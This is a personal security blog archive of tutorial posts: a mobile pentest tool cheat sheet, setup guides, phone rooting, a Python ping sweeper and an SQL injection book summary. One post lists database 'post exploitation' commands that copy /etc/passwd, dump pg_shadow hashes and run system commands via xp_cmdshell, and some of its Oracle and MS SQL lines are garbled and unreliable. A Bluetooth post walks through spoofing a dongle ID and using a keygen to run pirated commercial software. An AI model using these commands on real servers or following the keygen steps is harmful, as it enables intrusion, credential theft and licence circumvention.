Thursday, March 24, 2016

Mobile Application Penetration Testing Cheat Sheet

I'm currently on a Journey to learn as much as i can about mobile application penetration testing, during my research i stumbled access a Mobile App Pentest CheatSheet that i wanted to share with others that are on the same  mobile app security journey as i am. The Mobile App Pentest cheat sheet provides a concise collection of high value information on specific mobile application penetration testing topics.


Mobile Application Security Testing Distributions

  • Appie - A portable software package for Android Pentesting and an awesome alternative to existing Virtual machines.
  • Android Tamer - Android Tamer is a Virtual / Live Platform for Android Security professionals.
  • AppUse - AppUse is a VM (Virtual Machine) developed by AppSec Labs.
  • Androl4b - A Virtual Machine For Assessing Android applications, Reverse Engineering and Malware Analysis
  • Mobisec - Mobile security testing live environment.
  • Santoku - Santoku is an OS and can be run outside a VM as a standalone operating system.
  • Vezir Project - Mobile Application Pentesting and Malware Analysis Environment.
  • All-in-One Mobile Security Frameworks

All-in-One Mobile Security Frameworks

  • Mobile Security Framework - MobSF - Mobile Security Framework is an intelligent, all-in-one open source mobile application (Android/iOS) automated pen-testing framework capable of performing static and dynamic analysis.
  • python manage.py runserver 127.0.0.1:1337



Android Application Penetration Testing


Reverse Engineering and Static Analysis

  • APKInspector - APKinspector is a powerful GUI tool for analysts to analyze the Android applications.
  • APKTool - A tool for reverse engineering 3rd party, closed, binary Android apps. It can decode resources to nearly original form and rebuild them after making some modifications.
  • Disassembling Android apk file
  • apktool d [apk file]
  • Rebuilding decoded resources back to binary APK/JAR with certificate signing
  • apktool b [modified folder]
  • keytool -genkey -v -keystore keys/test.keystore -alias Test -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000
  • jarsigner -keystore keys/test.keystore dist/test.apk -sigalg SHA1withRSA -digestalg SHA1 Test
  • Sign - Sign.jar automatically signs an apk with the Android test certificate.
  • Jadx - Dex to Java decompiler: Command line and GUI tools for produce Java source code from Android Dex and Apk files.
  • Oat2dex - A tool for converting .oat file to .dex files.
  • Deoptimize boot classes (The output will be in "odex" and "dex" folders)
  • java -jar oat2dex.jar boot [boot.oat file]
  • Deoptimize application
  • java -jar oat2dex.jar [app.odex] [boot-class-folder output from above]
  • Get odex from oat
  • java -jar oat2dex.jar odex [oat file]
  • Get odex smali (with optimized opcode) from oat/odex
  • java -jar oat2dex.jar smali [oat/odex file]
  • FindBugs + FindSecurityBugs - FindSecurityBugs is a extension for FindBugs which include security rules for Java applications.
  • Qark - This tool is designed to look for several security related Android application vulnerabilities, either in source code or packaged APKs.
  • AndroBugs - AndroBugs Framework is an efficient Android vulnerability scanner that helps developers or hackers find potential security vulnerabilities in Android applications. No need to install on Windows.
  • Simplify - A tool for de-obfuscating android package into Classes.dex which can be use Dex2jar and JD-GUI to extract contents of dex file.
  • simplify.jar -i [input smali files or folder] -o [output dex file]
  • ClassNameDeobfuscator - Simple script to parse through the .smali files produced by apktool and extract the .source annotation lines.
  • Android backup extractor - Utility to extract and repack Android backups created with adb backup (ICS+). Largely based on BackupManagerService.java from AOSP.


Dynamic and Runtime Analysis

  • Cydia Substrate - Cydia Substrate for Android enables developers to make changes to existing software with Substrate extensions that are injected in to the target process's memory.
  • Xposed Framework - Xposed framework enables you to modify the system or application aspect and behaviour at runtime, without modifying any Android application package(APK) or re-flashing.
  • logcat-color - A colorful and highly configurable alternative to the adb logcat command from the Android SDK.
  • Inspeckage - Inspeckage is a tool developed to offer dynamic analysis of Android applications. By applying hooks to functions of the Android API, Inspeckage will help you understand what an Android application is doing at runtime.
  • Frida - The toolkit works using a client-server model and lets you inject in to running processes not just on Android, but also on iOS, Windows and Mac.
  • AndBug - AndBug is a debugger targeting the Android platform's Dalvik virtual machine intended for reverse engineers and developers.
  • Cydia Substrate: Introspy-Android - Blackbox tool to help understand what an Android application is doing at runtime and assist in the identification of potential security issues.
  • Drozer - Drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.
  • Starting a session
  • adb forward tcp:31415 tcp:31415
  • drozer console connect
  • Retrieving package information
  • run app.package.list -f [app name]
  • run app.package.info -a [package name]
  • Identifying the attack surface
  • run app.package.attacksurface [package name]
  • Exploiting Activities
  • run app.activity.info -a [package name] -u
  • run app.activity.start --component [package name] [component name]
  • Exploiting Content Provider
  • run app.provider.info -a [package name]
  • run scanner.provider.finduris -a [package name]
  • run app.provider.query [uri]
  • run app.provider.update [uri] --selection [conditions] [selection arg] [column] [data]
  • run scanner.provider.sqltables -a [package name]
  • run scanner.provider.injection -a [package name]
  • run scanner.provider.traversal -a [package name]
  • Exploiting Broadcast Receivers
  • run app.broadcast.info -a [package name]
  • run app.broadcast.send --component [package name] [component name] --extra [type] [key] [value]
  • run app.broadcast.sniff --action [action]
  • Exploiting Service
  • run app.service.info -a [package name]
  • run app.service.start --action [action] --component [package name] [component name]
  • run app.service.send [package name] [component name] --msg [what] [arg1] [arg2] --extra [type] [key] [value] --bundle-as-obj

Network Analysis and Server Side Testing

  • Tcpdump - A command line packet capture utility.
  • Wireshark - An open-source packet analyzer.
  • Live packet captures in real time
  • adb shell "tcpdump -s 0 -w - | nc -l -p 4444“
  • adb forward tcp:4444 tcp:4444
  • nc localhost 4444 | sudo wireshark -k -S -i –
  • Canape - A network testing tool for arbitrary protocols.
  • Mallory - A Man in The Middle Tool (MiTM) that use to monitor and manipulate traffic on mobile devices and applications.
  • Burp Suite - Burp Suite is an integrated platform for performing security testing of applications.
  • Proxydroid - Global Proxy App for Android System.

Bypassing Root Detection and SSL Pinning

  • Xposed Module: Just Trust Me - Xposed Module to bypass SSL certificate pinning.
  • Xposed Module: SSLUnpinning - Android Xposed Module to bypass SSL certificate validation (Certificate Pinning).
  • Cydia Substrate Module: Android SSL Trust Killer - Blackbox tool to bypass SSL certificate pinning for most applications running on a device.
  • Cydia Substrate Module: RootCoak Plus - Patch root checking for commonly known indications of root.
  • Android-ssl-bypass - an Android debugging tool that can be used for bypassing SSL, even when certificate pinning is implemented, as well as other debugging tasks. The tool runs as an interactive console.

Security Libraries

  • PublicKey Pinning - Pinning in Android can be accomplished through a custom X509TrustManager. X509TrustManager should perform the customary X509 checks in addition to performing the pinning configuration.
  • Android Pinning - A standalone library project for certificate pinning on Android.
  • Java AES Crypto - A simple Android class for encrypting & decrypting strings, aiming to avoid the classic mistakes that most such classes suffer from.
  • Proguard - ProGuard is a free Java class file shrinker, optimizer, obfuscator, and preverifier. It detects and removes unused classes, fields, methods, and attributes.
  • SQL Cipher - SQLCipher is an open source extension to SQLite that provides transparent 256-bit AES encryption of database files.
  • Secure Preferences - Android Shared preference wrapper than encrypts the keys and values of Shared Preferences.
  • Trusted Intents - Library for flexible trusted interactions between Android apps.

iOS Application Penetration Testing

Access Filesystem on iDevice

  • FileZilla - It supports FTP, SFTP, and FTPS (FTP over SSL/TLS).
  • Cyberduck - Libre FTP, SFTP, WebDAV, S3, Azure & OpenStack Swift browser for Mac and Windows.
  • itunnel - Use to forward SSH via USB.
  • iFunbox - The File and App Management Tool for iPhone, iPad & iPod Touch.

Reverse Engineering and Static Analysis

  • otool - The otool command displays specified parts of object files or libraries.
  • Clutch - Decrypted the application and dump specified bundleID into binary or .ipa file.
  • Dumpdecrypted - Dumps decrypted mach-o files from encrypted iPhone applications from memory to disk. This tool is necessary for security researchers to be able to look under the hood of encryption.
  • iPod:~ root# DYLD_INSERT_LIBRARIES=dumpdecrypted.dylib /var/mobile/Applications/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/Scan.app/Scan
  • class-dump - A command-line utility for examining the Objective-C runtime information stored in Mach-O files.
  • Weak Classdump - A Cycript script that generates a header file for the class passed to the function. Most useful when you cannot classdump or dumpdecrypted , when binaries are encrypted etc.
  • iPod:~ root# cycript -p Skype weak_classdump.cy; cycript -p Skype
  • #cy weak_classdump_bundle([NSBundle mainBundle],"/tmp/Skype")
  • IDA Pro - IDA is a Windows, Linux or Mac OS X hosted multi-processor disassembler and debugger that offers so many features it is hard to describe them all.
  • HopperApp - Hopper is a reverse engineering tool for OS X and Linux, that lets you disassemble, decompile and debug your 32/64bits Intel Mac, Linux, Windows and iOS executables.
  • iRET - The iOS Reverse Engineering Toolkit is a toolkit designed to automate many of the common tasks associated with iOS penetration testing.

Dynamic and Runtime Analysis

  • cycript - Cycript allows developers to explore and modify running applications on either iOS or Mac OS X using a hybrid of Objective-C++ and JavaScript syntax through an interactive console that features syntax highlighting and tab completion.
  • Show current view
  • cy# UIApp.keyWindow.rootViewController.topViewController.visibleViewController
  • Get an array of existing objects of a certain class
  • cy# choose(UIViewController)
  • List method at runtime
  • cy# [classname].messages or
  • cy# function printMethods(className) { var count = new new Type("I"); var methods = class_copyMethodList(objc_getClass(className), count); var methodsArray = []; for(var i = 0; i < *count; i++) { var method = methods[i]; methodsArray.push({selector:method_getName(method), implementation:method_getImplementation(method)}); } free(methods); free(count); return methodsArray; }
  • cy# printMethods("[classname]")
  • Prints out all the instance variables
  • cy# function tryPrintIvars(a){ var x={}; for(i in a){ try{ x[i] = (a)[i]; } catch(e){} } return x; }
  • cy# a=#0x15d0db80
  • cy# tryPrintIvars(a)
  • Manipulating through property
  • cy# [a pinCode]
  • cy# [a setPinCode: @"1234"]
  • cy# [a isValidPin]
  • cy# a->isa.messages['isValidPin'] = function(){return 1;}
  • iNalyzer - AppSec Labs iNalyzer is a framework for manipulating iOS applications, tampering with parameters and method.
  • idb - idb is a tool to simplify some common tasks for iOS pentesting and research.
  • snoop-it - A tool to assist security assessments and dynamic analysis of iOS Apps.
  • Introspy-iOS - Blackbox tool to help understand what an iOS application is doing at runtime and assist in the identification of potential security issues.
  • gdb - A tool to perform runtime analysis of IOS applications.
  • keychaindumper - A tool to check which keychain items are available to an attacker once an iOS device has been jailbroken.
  • BinaryCookieReader - A tool to dump all the cookies from the binary Cookies.binarycookies file.

Network Analysis and Server Side Testing

  • Canape - A network testing tool for arbitrary protocols.
  • Mallory - A Man in The Middle Tool (MiTM) that use to monitor and manipulate traffic on mobile devices and applications.
  • Burp Suite - Burp Suite is an integrated platform for performing security testing of applications.
  • Charles Proxy - HTTP proxy / HTTP monitor / Reverse Proxy that enables a developer to view all of the HTTP and SSL / HTTPS traffic between their machine and the Internet.

Bypassing Root Detection and SSL Pinning

  • SSL Kill Switch 2 - Blackbox tool to disable SSL certificate validation - including certificate pinning - within iOS and OS X Apps.
  • iOS TrustMe - Disable certificate trust checks on iOS devices.
  • Xcon - A tool for bypassing Jailbreak detection.
  • tsProtector - Another tool for bypassing Jailbreak detection.

Security Libraries

  • PublicKey Pinning - iOS pinning is performed through a NSURLConnectionDelegate. The delegate must implement connection:canAuthenticateAgainstProtectionSpace: and connection:didReceiveAuthenticationChallenge:. Within connection:didReceiveAuthenticationChallenge:, the delegate must call SecTrustEvaluate to perform customary X509 checks.







Wednesday, February 17, 2016

Practice CTF List / Permanant CTF List

I'm on a mission to becoming a great penetration tester. This is a list of CTF's 
Note: some links might or might not work so just try them. 

Live Online Games

Recommended

Whether they're being updated, contain high quality challenges, or just have a lot of depth, these are probably where you want to spend the most time.

Others

Meta

Webapp Specific

Forensics Specific

Recruiting

Paid Training

Downloadable Offline Games

Virtual Machines

Inactive or Gone

Just around for historical sake, or on the off-chance they come back.

Monday, February 15, 2016

How to install Ruby on Rails on CentOS 6

This is a quick tutorial on how to install Ruby on Rails on CentOS 6. Before installing Ruby on Rail just want to briefly explain what Ruby on Rails is. Ruby on Rails is an application stack that provides web developers with a framework to quickly create a web application. All right well enough jabbering lets get on with the installation.

Installing Ruby 2.18 using rvm.
NOTE: by default ruby 1.8.7 is installed on centos 6.

Step 1. Install the required packages
# yum install gcc-c++ patch readline readline-devel zlib zlib-devel 
# yum install libyaml-devel libffi-devel openssl-devel make 
# yum install bzip2 autoconf automake libtool bison iconv-devel sqlite-devel
Step 2. Install the latest version of RVM
# curl -L get.rvm.io | bash -s stable
# cd tar -xzvf /usr/local/rvm/archives/rvm-1.26.11.tgz
# cd /usr/local/rvm/archives/rvm-1.26.11/binscripts
# ./rvm-installer
Step 3.  Setup the RVM Environment 
# source /etc/profile.d/rvm.sh
Step 4. Install ruby 
# rvm install 2.1.8

Step 5.  Configure the Default version of Ruby 
# rvm use 2.1.8 --default

Using /usr/local/rvm/gems/ruby-2.1.8

Step 6.  Check the current version of Ruby 

# ruby --version

ruby 2.1.8p440 (2015-12-16 revision 53160) [x86_64-linux]

Install Rails 
#gem install rails -V
Create a Test Application (Optional) to verify that Rails is working properly
NOTE: After running the rails server --binding= the following error might pop up " There was an error while trying to load the gem 'uglifier'" if you see this error you will need to install nodejs. Run the following commands to install nodejs  

curl -sL https://rpm.nodesource.com/setup | bash -
yum install -y nodejs
npm install -g express-generator
npm -g install npm@latest

cd ~

rails new testapp 
The move into the applications directory 
# cd testapp
Create the sqlite3 database:
rake db:create 
http://server ip address:3000

Sunday, February 14, 2016

Upgrading from Kali Linux 2.0(sana) to Kali Linux rolling edition

I've been putting a lot of things off as of late and upgrading my kali linux has been one of them, but no more :). The is a quick step by step guide on how to upgrading to Kali Linux rolling edition.


Step1. Before doing anything just do a quick apt-get update and apt-get upgrade to apply any outstanding updates to the kali linux 2.0 image.

Step2. Once the updates have been applied. The go ahead and open the /etc/apt/sources.list with your favorite editor (mine being vim) and add the following information to the file.

deb http://http.kali.org/kali kali-rolling main non-free contrib

Step3.  After adding the above source to the /etc/apt/sources.list file run the following commands and just walk a way and grab some coffee and a pop tart (yum).

apt-get update
apt-get dist-upgrade
reboot

Step4. After completing the upgrade and rebooting, when booting into the Kali linux rolling edition you may have to reinstall open-vm-tools-desktop in order to make sure your full screen option works properly with the rolling edition.

Note: After  the upgrade i've noticed a couple of changes

1. the network card changed from eth0 to eno16777736 this is kinda similar to the network card settings in an default centos 7 installation.

2. After upgrading to kali linux rolling my display in full screen mode was still not right. After hours of searching and testing i found the solution that worked for me by running the following commands:



# uninstall vmware tools  (note: I transitioned from Kali 2.0):
vmware-uninstall-tools.pl 

# uninstall open-vm-tools
apt-get remove open-vm-tools-desktop
apt-get autoremove
reboot

# install open-vm-tools
apt-get install  open-vm-tools-desktop
reboot



Saturday, February 13, 2016

Post Exploitation The Database Edition

As a web app pentester there is nothing more annoying then encountering a database that you have never worked with before and having to search all over the net for post exploitation commands in order to gather more information. So This is just a small list that i put together for myself and as time goes on this list will grow and i will continue to update this post. I hope this small list can help someone else out during a web app penetration test.


Postgres Post Exploitation Commands

select version();
select current_database();
select current_user;
select session_user;
select current_setting('log_connections');
select current_setting('log_statement');
select current_setting('port');
select current_setting('password_encryption');
select current_setting('krb_server_keyfile');
select current_setting('virtual_host');
select current_setting('port');
select current_setting('config_file');
select current_setting('hba_file');
select current_setting('data_directory');
select * from pg_shadow;
select * from pg_group;
create table myfile (input TEXT);
copy myfile from '/etc/passwd';
select * from myfile;copy myfile to /tmp/test;


DB2 Post Exploitation Commands

select versionnumber, version_timestamp from sysibm.sysversions;
select user from sysibm.blah;
select session_user from sysibm.blah;
select system_user from sysibm.blah;
select current server from sysibm.blah;
select name from sysibm.systables;
select grantee from syscat.dbauth;
select * from syscat.tabauth;
select * from syscat.dbauth where grantee = current user;
select * from syscat.tabauth where grantee = current user;
select name, tbname, coltype from sysibm.syscolumns;
SELECT schemaname FROM syscat.schemata;

MS SQL Post Exploitation Commands

select @@version
select @@servernamee
select @@microsoftversione
select * from master..sysserverse
select * from sysusers
exec master..xp_cmdshell 'ipconfig+/all'
exec master..xp_cmdshell 'net+view'
exec master..xp_cmdshell 'net+users'
exec master..xp_cmdshell 'ping+'
BACKUP database master to disks='\\\\backupdb.dat'
create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select
* from myfile"--


Oracle Post Exploitation Commands


SELECT • FROM v$version;
SELECT version FROM v$instance;
SELECT instance name FROM v$instance;
SELECT name FROM v$database;
SELECT DISTINCT owner FROM all tables;
SELECT user FROM dual;
SELECT username FROM all users ORDER BY username;
SELECT column name FR0l1 all tab columns; SELECT table name FROM all tables;
SELECT name,-password, astatus FROt1 SJS.user$;

SELECT DISTINCT grantee FR0t1 dba SfS_prlvS WHERE ADlHN OPTION I YES;


SQL injection - Attacks and defense second edition by Justin Clarke

As my journey to becoming a very solid web application penetration tester continue's just taking the time out to  blog about the SQL Injection Attacks and Defense (Second Edition book). If you don't have this book in your library i would recommend you pick up a copy. This book is an excellent resource if you want to learn the in's and outs of SQL injection and how it works.  I've summarized each chapter of the book so without further ado lets get into it.


This book has 10 chapters

Chapter 1 - What is SQL injection?

This is just basic introduction to the topic of the book. Its kinda of a weird chapter, But I would recommend that you read it and re-read it at the end.


Chapter 2 - Testing for SQL injection

This chapter looks at SQL injection from a hackers perspective and shows how to find SQL injection samples in a web application thats connected to a database. This is a nice intro to the rest of the book. It provides useful tips about displayed SQL errors in MS SQL server, MySQL and Oracle.

Chapter 3 - Reviewing code for SQL injection

This chapter looks at SQL injection from a "developer's point of view and shows how to follow user data through lines of PHP, Java and C# code. The end of the chapter mentions some source code analysis tools like YASCA or the MS Source Code Analyzer for SQL Injection.

Chapter 4 - Exploiting SQL injection

This chapter talks about exploiting SQL injection using steps such as identifying the database, extracting data through UNION statements, using conditional statements, enumerating the database schema, escalating privileges, stealing password hashes, out-of-band communication

Chapter 5 - Blind SQL injection exploitation

This chapter talking about Using time-based, binary search, bit-by-bit inference and response=based techniques, they present ways to infer knowledge out of the interaction with a database.

Chapter 6 - Exploiting the operating system

This chapter discusses ways to read and write files and execute OS commands.

Chapter 7 - Advanced topics

This chapter describes ways to evade input filters, to exploit second-order SQL injection and to use hybrid attacks.

Chapter 8 - Code-level defenses

This is the chapter that "developers" should read without any doubt. The key to avoid SQL injection attacks is to completely code the access to a database based on customised parameters that are out of the users' reach. The authors propose a series of recommendations to validate input and to encode output.

Chapter 9 - Platform-level defenses

Together with excellent coding practices, there are some measures, related to the operating platform, that we can take to avoid SQL injection. These are, for example, using web application firewalls, web server filters, IDSs and securing the database itself.

Chapter 10 - This chapter is the chapter every "white hat hacker" should have at hand when assessing a web app connected to a database. It is a great reference of SQL commands and SQL injection tweaks for SQL Server, MySQL, Oracle, PostgreSQL and even DB2.
one.

Again i would recommend this book to anyone who is serious about really learning about sql injection.

Friday, January 1, 2016

Rooting the LG V10 Android Phone

Well it has been quite a long time since i've posted alot of things were happening in life that kept me away from blogging but i've finally made it back. Well enough of the jabber lets get to the fun part rooting your LG V10 Android Phone.

Just a little background information the LG V10 was released back in October 2015. This smartphone has some very cool specs. Beginning with an 5,7 Inch wide LCD with IPS LCD capacitive touchscreen, that works on Android OS, v5.1.1 (Lollipop) and supported with Qualcomm MSM8992 Snapdragon 808 chipset, Quad-core 1.44 GHz Cortex-A53 & dual-core 1.82 GHz Cortex-A57 of CPU, GPU adreno 418 and combined with 4 GB of RAM, 16 MP of Primary Camera, and 5 MP on Secondary camera.

Note: Before you root your phone make sure your phone has at least 80% battery life and please make sure you take a backup of all of your data. Once you've done this proceed to step 1.

Step 1. Setup ADB and Fastboot on your Computer, if your not sure how to do this check out the following link  http://lifehacker.com/the-easiest-way-to-install-androids-adb-and-fastboot-to-1586992378


Step 2.  You have to enable the Developer Option on your phone, (this setting is disabled by default b/c the phone gods lol dont want you to be able to unlock your phone. )

  • Go to Settings
  • Select about Phone
  • Scroll down until you see Software Info, Once you tap on Software Info you will see the build   number
  • Tap the Build number 7 times
  • Go back to the Settings and you will now see Developer Options

Step 3. Tap on Developer options and Enable both OEM unlock and USB debugging

Step 4.  Connect your LG V10 phone to your computer using the USB Cable that came with the phone.

Step 5. Boot your  LG V10 into boot loader mode: In order to boot into loader mode type the following:
adb reboot bootloader

Step 6. Now that you’re in bootloader mode, You can unlock the bootloader by typing the following command:
fastboot oem unlock

Step 7. Once bootloader on the phone is unlocked, reboot the bootloader using the following command:
fastboot reboot-bootloader

Step 8. Download and install the TWRP Recovery software from the following link
https://www.androidfilehost.com/?fid=24052804347853160

Step 9.  In order to get root on the device, you must Flash SuperSU via TWRP using the following steps.

  • Download the SuperSU software using the following link. https://download.chainfire.eu/696/SuperSU/UPDATE-SuperSU-v2.46.zip
  • Copy the SuperSU zip file from the download link above to your device memory or SD card.
  • Boot the LG V10 device into TWRP recovery.
  • Tap on “Install” and select the SuperSU zip file that you transferred to your device.
  • After selecting the .zip file, do “Swipe to Confirm Flash” on the bottom of screen to begin the flashing process.
  • Once SuperSU is flashed, you’ll get the  “Reboot System” option, select it.


Step 10. Done (Enjoy your rooted device )


Monday, June 2, 2014

network sweeping with python

Well as of late i have decided to ditch bash and go directly with using python for all scripting tasks and so far so good :). I think python is such an awesome language and should be used instead of bash all together. I'm currently preparing for my OSCP certification exam os this is one of many tools that i will write and post for your enjoyment.  Well enough babbling from me  he goes. This tool that ive written in python is a network ping sweeper.


 #!/usr/bin/python

import subprocess
import os
with open(os.devnull, "wb") as limbo:
    for n in xrange(1, 10):
        ip="192.168.18.{0}".format(n)
        result=subprocess.Popen(["ping", "-c", "1", "-n", "-W", "2", ip],
            stdout=limbo, stderr=limbo).wait()
        if result:
            print ip, "inactive"

        else:

           log = open("active_hosts", "a")
                print >>log,  ip


When running my script you will receive  the following output 


root@kali:/home/cyclonis/scripts/python# ./laserbeak.py
192.168.18.1 active
192.168.18.2 inactive
192.168.18.3 inactive
192.168.18.4 inactive
192.168.18.5 inactive
192.168.18.6 inactive
192.168.18.7 inactive
192.168.18.8 inactive
192.168.18.9 active


Well i hope whoever reads this blog post gets something from it. I really enjoy sharing information with others so if you like it please feel free to use it. 




Thursday, April 3, 2014

OSWP Certified

Hello everyone, it has been a while since i've been blogging shame on me ive been working on becoming a penetration tester.  I started off with taking the OSWP certification from Offensive Security. This certification focuses on wireless penetration testing,  I had to hack into various wireless routers with different configurations and settings in a matter of 3 hours once the exam was over , I had to submit a Pentest report to the Offensive Security Staff to verify that i was able to penetrate and crack the wireless encryption keys. In order to prepare for this exam I would suggest purchasing some alfa and tp link wireless network cards from the internet along with some old wireless routers and start attacking wep wpa2 and other wireless encryption settings. I'm currently on a journey to keep learning all that i can and become the best hacker i can be i love hacking and coding and finding new exploits this is a wonderful feeling and going through this challenge was a wonderful experience and i would encourage anyone  that is looking  for a challenge in security/hacking to sign up for Offensive Security Certifications they are really worth it My next challenge will be OSCP certification im looking forward to getting into the labs. Well thats enough rambling from me time for bed sunrise will be here before i know it. 

Friday, January 3, 2014

Bluetooth Sniffing For Less

 Bluetooth Sniffing For Less

HBluetooth Security seems to be very good compared to 802.11 problems. But most of the Bluetooth Security is based the PIN you have to enter during pairing two devices or on the link key, which is a result of it. In addition Bluetooth uses much more channels and hops frequently within the spectrum, which makes Analyzing a real pain. Sniffing raw communication without being paired is until now only available to rich companies or individuals which could buy one of the over-priced Bluetooth Sniffers.
When i say High-Priced i talk about 10'000 US$. Frontline (http://www.fte.com) is one of the few Bluetooth Sniffer manufacturers and they sell their application together with a "special" Bluetooth sniffer ComProbe / dongle. Here are some marketing highlights from their FTS4BT product website:

Supports EDR (Enhanced Data Rate): FTS4BT is the only analyzer currently on the market to support Bluetooth v2.0 + EDR. - Finger-sized Bluetooth ComProbe: Air sniffing hardware is incredibly portable and requires no power. - Synchronized air and HCI sniffing: FTS4BT provides multiple points of observation, speeding up debug time. - Real-time debugging: FTS4BT captures, decodes, filters and displays data, and detects protocol errors simultaneously, all live and in real-time.

Decodes all Bluetooth protocols and most profiles. Quick release of new profiles to keep pace with changing Bluetooth specifications. - Extract Audio into WAV files for playback and analysis. - Includes Framedecoder for rapid development and seamless integration of HCI Vendor Extensions and other custom protocol implementations. - This Frontline technology is how we meet Bluetooth challenges.
 
Current:
--------
It is in fact very easy to modify a very cheap standard USB dongle to be usable
as comprobe and together with the nifty keygenerator, everyone can analyze
Bluetooth. Follow the instructions below to get your Bluetooth raw sniffer for
a few bugs. So for the marketing: This piece of reversing is how we meet the
Frontline challenges :-)

Warning:
--------
Using a keygenerator to run illegal software copies is prohibited in many
countries and you do it at your own risk. And we still think that you should buy
this expensive tools if you do business with it.

Prepare yourself:
-----------------
To conduct all the steps you need the following:
- Linux installation with Bluez and the important BCCMD, BDADDR and DFUTOOL
  from the CVS tree. Get it at http://www.bluez.org. A few security testing 
  focused Linux distributions have them already pre-installed.
- A supported CSR chip based Bluetooth dongle
- A copy of the FTS4BT software (Should be available in combination with this
  howto)
- A copy of the license and authentication code generator (Should be available
  in combination with this howto) 
 
Step 1 - Backup original firmware:
----------------------------------
First you want to backup your USB sticks current firmware and configuration for
later use. Follow the points below to do this:

- Insert your stick into your linux machine and do a hciconfig  up
  (Most often  is hci0). Check using hciconfig -a if the device is
  there and UP. Looks somewhat similar to that list below i suggest that you
  copy your information to a safe place, in case you want to switch back to it:

linux ~ # hciconfig -a
hci0:   Type: USB
        BD Address: 00:DE:EA:DB:EE:EF ACL MTU: 192:8 SCO MTU: 64:8
        UP RUNNING
        RX bytes:85 acl:0 sco:0 events:9 errors:0
        TX bytes:30 acl:0 sco:0 commands:8 errors:0
        Features: 0xff 0xff 0x0f 0x00 0x00 0x00 0x00 0x00
        Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
        Link policy:
        Link mode: SLAVE ACCEPT
        Name: 'COMPUTER'
        Class: 0x000000
        Service Classes: Unspecified
        Device Class: Miscellaneous,
        HCI Ver: 1.1 (0x1) HCI Rev: 0x33c LMP Ver: 1.1 (0x1) LMP Subver: 0x33c
        Manufacturer: Cambridge Silicon Radio (10)
 
- Write down your btaddr (similar to mac addr),in our case its 00:DE:EA:DB:EE:EF
  You will need it later on, so write it down. Tip: You can also set a specific
  address using the tool btaddr which als also from bluez.
- Now just backup the current firmware using the dfutool. Please notice that
  ID 0a12:0001 thats the vendor and product id (You can also get it using lsub).
  We need the product to be 0002  but we do this a bit later. Now do your
  backup, it should look like the  example below. Please not that doing this in
  virtual machines may fail.In addition you need to use again hciconfig
   up after the dfutool because it resets the state of the device.:

linux ~ # dfutool -d hci0 archive my_bluetooth_dongle_firmware_backup.dfu
Available devices with DFU support: 
 
2) Bus 1 Device 2: ID 0a12:0001 Interface 2

Select device (abort with 0): 2

Firmware upload ... 358832 bytes

linux ~ # hciconfig hci0 up 
 
Step 1 - View original configuration:
-------------------------------------
Acording to the CSR specifications there are multiple places to read stuff on
the stick. Depending on your product these can be different. In generel these 
are "Default" (0x0000), "param" (0x0008), "psi" (0x0001), "psf" (0x0002) and 
"psrom" (0x0004). You can use those values usind bccmd pslist -s . Its 
even more easy if you like to get a complete list of parameters, just use:

linux ~ # bccmd -d hci0 pslist -s 0x000F >> backup-configuration 

look in there for the lines that contains something similar to these:
"0x02bf - USB product identifier (2 bytes)"  
"0x02be - USB vendor identifier  (2 bytes)"   

Now get the values of those two bytes:

Use the following command to get the location of the product id:
linux ~ # bccmd -d hci0 psget -s 0x000f 0x02bf 
USB product identifier: 0x0001 (1): 
This is what we want to change later

linux ~ # bccmd -d hci0 psget -s 0x000f 0x02be 
USB vendor identifier: 0x0a12 (2578): 
If you have something different we have to change it as well
 
Step 2 - Change product ID:
----------------------------------------
Acording to the CSR specifications there are multiple places to store stuff. On
most dongles we know about it the product id is stored in "psf" (0x0002). Never 
mind if its not there just check your configuration and search for it. If you 
the right location then use the following or similar line to modify the product
id from 0x0001 to 0x0002. Otherwise Frontline drivers wont install properly.

linux ~ # bccmd -d hci0 psset -s 0x0002 0x02bf 0x0002 new id

If you got no feedback then it was successful, check it by reading that value 
again using:

linux ~ # bccmd -d hci0 psget -s 0x000f 0x02bf 
USB product identifier: 0x0002 (2)
yeah data-blogger-escaped-baby="" data-blogger-escaped-pre="">
 
Step 2 1/2 - Change vendor ID:
----------------------------------------
Most dongles i did see where Cambridged Silicon Radio,so its likely that
you will get 0x0a12 as the usb vendor id. If you got that one, your finished 
with modifications on your dongle. Go to Step 3 of this guide. When you are 
using the Toshiba Version 2.0 + ERD dongle (which is amazing) you need to change
also the vendor id from 0x0903 to 0x0a12 uing psget/psset.

Step 3 - Install the sniffer software
-------------------------------------
I guess i dont have to explain that. Use your license or generate one if you 
got a keygen :-). Please note, its important on the keygen that you enter the
mac / btaddr of your dongle in lowercase and without any ":".

The keygen is available as a linux binary as well as windows .exe file

Use the serial number during installation. You will get a Desktop Folder with a
lot of links. Don't delete it you will need it. 

Step 4 - Install the USB stick driver from frontline
----------------------------------------------------
When you insert your stick, windows will try to install a driver. You will find
it in your Frontline installation dirctory, quite simple uh?

Step 6 - Install the firmware package from frontline
----------------------------------------------------
Pretty straigth forward, but you will need it.

Step 7 - Configure the sticks firmware etc.
------------------------------------------- 
Open the Bluetooth ComProbe Maintenance Utility. You find a shortcut on 
"Desktop\5.6.9.0 FTS4BT\Setup" or at similar places. Use the "Select Device" 
button and if you did previous steps correct, it will be detected. Yeah!
Now use "Update Firmware" to update your desired firmware version (You will 
find it in the subfolder "Bluetooth ComProbe Firmware" in the frontline 
installation directory. I normaly use the latest one. After that you should 
use "Check Configuration" to configure the stick with the serial and the 
authentication code. Finally i suggest to use "Calibrate" which takes time.

Step 8 - Use it
--------------- 
Thats it.

Future / Todo:
-------
We did the first step and show you how to do it for less, now its the
communities opurtunity to take that know-how and generate a custom, free
firmware and sniffer module to generate a real opensource sniffer.

 

Thursday, January 2, 2014

New Year Ramblings :)

Well its a New Year 2014 i still cannot believe it, Well like the old saying goes time flies when you having :).  2014 is going to be a big year i've decided to focus more on security mainly wireless and web app pentesting those are my main areas of focus. This will keep me busy for the next lifetime.  Well thats enough jabbering from me,  whoever is reading this post i just want to wish you a very happy and prosperous year in what  ever you do.  :)

Cracking Kerberos Service Tickets (TGS) Using Kerberoasting

As of late I've been spending a lot of time researching and learning different techniques when it comes to attacking Active Directory En...